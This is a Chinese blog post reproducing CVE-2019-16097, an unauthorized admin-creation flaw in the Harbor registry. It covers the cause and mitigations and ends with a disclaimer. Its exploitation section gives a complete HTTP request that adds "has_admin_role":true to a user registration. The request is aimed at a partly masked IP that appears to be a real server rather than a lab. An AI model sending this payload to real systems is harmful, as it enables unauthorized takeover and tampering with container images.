一、前言
Harbor 是一个开源的可信云原生注册表项目,用于存储、签名和扫描内容。Harbor 通过添加用户通常需要的功能(例如安全性、身份和管理)来扩展开源 Docker Distribution。让注册表更接近构建和运行环境可以提高图像传输效率。Harbor 支持在注册中心之间复制镜像,还提供高级安全功能,例如用户管理、访问控制和活动审计。
二、漏洞成因
攻击者通过POST方式提交恶意请求到/api/users接口,即可利用该漏洞创建管理员账户,从而接管Harbor镜像仓库,实现删除、污染镜像等攻击操作。
三、防御方法
建议受影响用户综合评估漏洞风险和业务影响,通过以下方案避免安全风险:
- 方案一:关闭允许自行注册功能;
- 方案二:目前在新版本中已修复此漏洞,建议下载并升级Harbor版本到 1.7.6 或 1.8.3。
四、漏洞挖掘
1、获取目标平台及url
https://211.xxxx.249/harbor/projects
2、注册账号:CCX
3、点击注册后抓包,在请求中添加"has_admin_role":true,即
POST /api/users HTTP/1.1
Host: 211.xx.xx.249
Cookie: sid=9894437e7xxxxxx5b213bb3c09d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 93
Origin: https://211.xx.xx.249
Referer: https://211.xx.xx.249/harbor/sign-in?signout=true
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{"username":"CCX","email":"[email protected]","realname":"ccx","password":"Ccxqaz123","comment":"2",
"has_admin_role":true}
4、放包,使用注册账号登录后即为管理员权限
-----------------------------------------------
本期漏洞复现就结束啦,下期见!
--------------------------------------------------
注意:请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!~
走之前记得点个“在看”哟~
原文始发于微信公众号(从放弃到入门):漏洞复现系列-Harbor 未授权创建管理员漏洞( CVE-2019-16097)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论